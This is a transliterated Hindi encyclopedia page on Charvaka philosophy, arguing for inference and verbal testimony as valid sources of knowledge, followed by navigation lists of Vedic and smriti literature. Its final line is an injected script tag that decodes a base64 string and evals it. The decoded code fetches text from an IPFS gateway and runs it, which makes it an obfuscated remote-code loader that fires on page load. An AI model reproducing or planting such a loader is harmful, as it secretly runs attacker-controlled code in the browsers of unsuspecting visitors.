- svarg adi paralok nahian haian. dharm evan adharm ki satta nahian hai. eeshvar koee paralaukik tattv nahian hai. sab kuchh is lok mean hi hai. yah tabhi pramanik roop mean charvak siddh kar sakata hai jab vah anuman ki pramanikata ka khandan kare. yadi anuman praman hai to in paralaukik padarthoan ki anuman praman se ho rahi siddhi ko kaun rok sakata hai. is prakar ka prashn anuman ko praman manane vale vidvanoan ki or se uthaya jata hai. yadi anuman praman nahian hota to dhuean ko dekhane ke anantar janasamany ko kabhi bhi ag ki anumiti nahian hoti. jo log prekshavan[1] vivechak haian arthath prakrisht phal ka nam se ullekh hue bina jo shastr ke chintan adi mean pravritt nahian hote haian, ve bhi sahaj roop se anuman karane mean pravritt dekhe jate haian. phalat: anuman ko praman avashy manana chahie.
- 'nadi ke kinare phal rakhe hue haian', yah vaky sunane ke bad phal ki kamana karane valoan mean nadi ke kinare jane ke lie pravritti dekhi jati hai. is pravritti se yah siddh hota hai ki vakyoan ko sunane ke bad bhi jan samany mean jo sahaj kriya hoti hai vah svatantr shabd praman manakar shabdabodh hone par hi sambhav hai.
- is shabd ke sambandh mean kaha gaya hai ki, yah shabd bina kisi bhed bhav ke apane arth ka sakshatkar sabhi ko kara deta hai. bas apeksha itani hi hoti hai ki isaka prayog vyavasthit roop mean kiya jana chahie. yahaan vyavasthit roop se tatpary hai ki jin shabdoan ka prayog ho raha hai unamean paraspar akaanksha, yogyata evan asakti avashyak roop mean ho. yahi karan hai ki shabd ko praman manane valoan ke yahaan shabdamayi devi sarasvati[2] ki vishesh manyata any devataoan ki apeksha mukt kanth se svikar ki gee hai.
- shabd se hone vale bodh ko charvak pratyaksh nahian kar sakata. karan yah hai ki shabd se hone vale bodh mean, niyamit roop se vritti jnan ke hone ke bad akaanksha yogyata evan asakti ke nirnay ho jane par pad se hone vale smaran ke vishay padarthoan ke sambandh vishesh hi vishay hote haian. shabdabodh mean is sambandh ya anvay ka hi vishesh roop se bodh hone ke phalasvaroop is shabdabodh ko anvayabodh nam se bhi vidvat samaj mean jana jata hai.
- yadi shabdabodh pratyaksh hota to jaise pratyaksh any prakar se upasthit padarthoan ka bhi jnanalakshana sannikarsh se hota hai usi prakar shabdabodh bhi any prakar se jnat padarthoan ka avashy hota. at: shabdabodh mean any prakar se upasthit padarthoan ka bodh anubhav siddh nahian hai at: ise pratyaksh nahian kaha ja sakata. shabd se hone vale bodh ke anantar mujhe shabdabodh ho raha hai is prakar anuvyavasay ya shabdabodh ka pratyaksh hota hai. mujhe pratyaksh ho raha hai yah bodh kisi ko nahian hota hai. is karan bhi shabd se pratyaksh hota hai yah nahian mana ja sakata hai.
- shabdabuddhi ko pratyaksh manane par, kisi bhi prakar ke pratyaksh ke prati jo shabdabodh ki samagri ko avarodhak ya pratibandhak mana jata hai vah nahian mana ja sakega. kyoanki jo shabdabodh-svaroop pratyaksh hai usako is shabdabodh ki samagri rokegi yah kaise kaha ja sakata hai? yadi kahean ki shabdabodh-svaroop pratyaksh se bhinn pratyaksh mean shabd samagri pratibandhak mani ja sakati hai to is prakar ki lambi kalpana ki apeksha shabdabodh ko alag ek prama man lene mean hi laghav hai.
- in yuktiyoan ke adhar par yadi praman ke roop mean anuman evan shabd bhi siddh ho jaean to jin padarthoan ka nirakaran charvak karata hai vah sambhav nahian ho payega. yahi karan hai ki charvak atyant prabal evan svabhavik yuktiyoan ke adhar par anuman evan shabd ki alag praman ke roop mean manyata ka upahasapoorvak atyant manoranjak paddhati se khandan karata hai.
tika tippani aur sandarbh
- ↑ prekshavataan vivechakanaan, prakrishtaphaloddeshamantaren shastradhyayaneapravarttamananamh iti yavath. -pramanyavad gadadhari- pri0 3
- ↑ anubhavahetu: sakale sady: samupasita manuje. sakankshaaasanna ch svarthe yogya sarasvati devi॥ shabdashaktiprakashika – pri0 265
bahari k diyaan
sanbandhit lekh
shrutiyaan
upaved aur vedaang |
---|
| upaved |
|
kamandak sootr · kautily arthashastr · chanaky sootr · nitivakyamritasootr · brihaspatey arthadhikarakamh · shukraniti | | |
mukti kalpataroo · vriddh sharangadhar · vaishampayan niti-prakashika · samaraangan sootradhar · adhvaryu | | | | | |
agnigrahasootraraj · ashvinikumar sanhita · ashtaangahriday · indrasootr · charak sanhita · jabalisootr · dalbhy sootr · deval sootr · dhanvantari sootr · dhatuved · brahman sanhita · bhel sanhita · manasootr · shabd kautoohal · sushrut sanhita · soop sootr · sauvari sootr |
| | vedaang |
kalp | | | shiksha |
gautami shiksha (samaved) · naradiy shiksha· paniniy shiksha (rrigved) · bahy shiksha (krishna yajurved) · mandki shiksha (atharvaved) · yajnavalky shiksha (shukl yajurved) · lomashiy shiksha | | vyakaran |
kalp vyakaran · kamadhenu vyakaran · panini vyakaran · prakriti prakash · prakriti vyakaran · mugdhabodh vyakaran · shaktayan vyakaran · sarasvat vyakaran · hemachandr vyakaran | | niruktt |
mukti kalpataroo · vriddh sharangadhar · vaishampayan niti-prakashika · samaraangan sootradhar | | chhand |
gargyaprokt upanidan sootr · chhand manjari · chhandasootr · chhandovichit chhand sootr · chhandoanukramani · chhalapudh vritti · jayadev chhand · janashramaan chhandovichit · vrittaratnakar · veankatamadhav chhandoanukramani · shrutavek | | jyotish |
aryabhatiy jyotish · naradiy jyotish · parashar jyotish · brahmagupt jyotish · bhaskarachary jyotish · varahamihir jyotish · vasishth jyotish · vedaang jyotish |
|
|
upanishad | | rrigvediy upanishad | | | yajurvediy upanishad |
shukl yajurvediy | | | krishna yajurvediy | |
| | samavediy upanishad | | | atharvavediy upanishad | | | | | rrigvediy brahman granth | | | yajurvediy brahman granth |
shukl yajurvediy | | | krishna yajurvediy | |
| | samavediy brahman granth | | | atharvavediy brahman granth | | |
sootr-granth | | rrigvediy sootr-granth | | | yajurvediy sootr-granth |
shukl yajurvediy | | | krishna yajurvediy | |
| | samavediy sootr-granth |
masakasootr · latyayan sootr · khadir shrautasootr · jaiminiy grihyasootr · gobhil grihyasootr · khadir grihyasootr · gautam dharmasootr · drahyayan grihyasootr · drahyayan dharmasootr | | atharvavediy sootr-granth | |
|
shakha | | shakha |
shakal rrigvediy shakha · kanv shukl yajurvediy · madhyandin shukl yajurvediy · taittiriy krishna yajurvediy · maitrayani krishna yajurvediy · kath krishna yajurvediy · kapishthal krishna yajurvediy · shvetashvatar krishna yajurvediy · kauthumi samavediy shakha · jaiminiy samavediy shakha · ranayaniy samavediy shakha · paippalad atharvavediy shakha · shaunakiy atharvavediy shakha | | mantr-sanhita |
rrigved mantr-sanhita · shukl yajurved mantr- sanhita · samaved mantr-sanhita · atharvaved mantr-sanhita | | aranyak | | |
pratisakhy evan anukramanika | | rrigvediy pratisakhy |
shaankhayan pratishakhy · brihad pratishakhy · arshanukramanika · ashvalayan pratishakhy · chhandonukramanika · rrigpratishakhy · devatanukramanika · sarvanukramanika · anuvakanukramanika · brihadvatanukramanika · rrigh vijnan | | yajurvediy pratisakhy |
shukl yajurvediy |
katyayan shulvasootr · katyayanukramanika · vajasaneyi pratishakhy | | krishna yajurvediy |
taittiriy pratishakhy |
| | samavediy pratisakhy |
shaunakiya chaturdhyapika |
|
|
smriti sahity |
---|
| smritigranth | | | puran | | | mahakavy | | | darshan | | | nibandh |
jimootavahan krit : dayabhag · kalavivek · vyavahar matrika · aniruddh krit : pitridayita · haralata · ballalasen krit :acharasagar · pratishthasagar · adbhutasagar · shridhar upadhyay krit : kalamadhav · dattakamimaansa · parasharamadhav · gotr-pravar nirnay · muhoortamadhav · smritisangrah · vratyastom-paddhati · nandapandit krit : shraddh-kalpalata · shuddhi-chandrika · tattvamuktavali · dattak mimaansa · · narayanabhatat krit : tristhali-setu · antyeshti-paddhati · prayog ratnakar · kamalakar bhatt krit: nirnayasindhu · shoodrakamalakar · danakamalakar · poortakamalakar · vedaratn · prayashchittaratn · vivad tandav · kashinath upadhyay krit : dharmasindhu · nirnayamrit · purusharth-chintamani · shoolapani krit : smriti-vivek (apoorn) · raghunandan krit : smriti-tattv · chandeshvar krit : smriti-ratnakar · vachaspati mishr : vivad-chintamani · devan bhatat krit : smriti-chandrika · hemadri krit : chaturvarg-chintamani · nilakandabhatat krit : bhagavant bhaskar · mitramishr krit: vir-mitroday · lakshmidhar krit : krity-kalpataru · jagannath tarkapanchanan krit : vivadarnav | | agam |
vaishnavagam |
ahirbudhny-sanhita · eeshvar-sanhita · kapilajanli-sanhita · jayakhy-sanhita · padmatantr-sanhita · parashar-sanhita · brihadbrahm-sanhita · bharadvaj-sanhita · lakshmi-sanhita · vishnutilak-sanhita · vishnu-sanhita · shriprashn-sanhita · sattvat-sanhita | | shaivagam |
tattvatray · tattvaprakashika · tattvasangrah · tatpary sangrah · nareshvar pariksha · nadakarika · paramoksh-nirashakarika · pashupat sootr · bhogakarika · mokshakarika · ratnatray · shrutisooktimala · soot-sanhita | | shaktagam |
vamagam |
advaitabhavopanishad · arunopanishad · kalikopanishad · kaulopanishad · taropanishad · tripuropanishad · brahichopanishad · bhavanopanishad | | mishramarg |
kalanidhi · kularnav · kuleshvari · chandrak · jyotsravati · durvasas · barhaspaty · bhuvaneshvari | | samayachar |
vasishthasanhita · shukrasanhita · sanakasanhita · sanatkumarasanhita · sanandanasanhita | | tantrik sadhana |
kalivilas · kularnav · kool-choo damani · jnanarnav · tantraraj · tripura-rahasy · dakshinamoorti-sanhita · namakeshvar · prapanchasar · mantr-maharnav · mahanirvan · rudrayamal · shaktisangam-tantr · sharada-tilak |
|
|
|
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>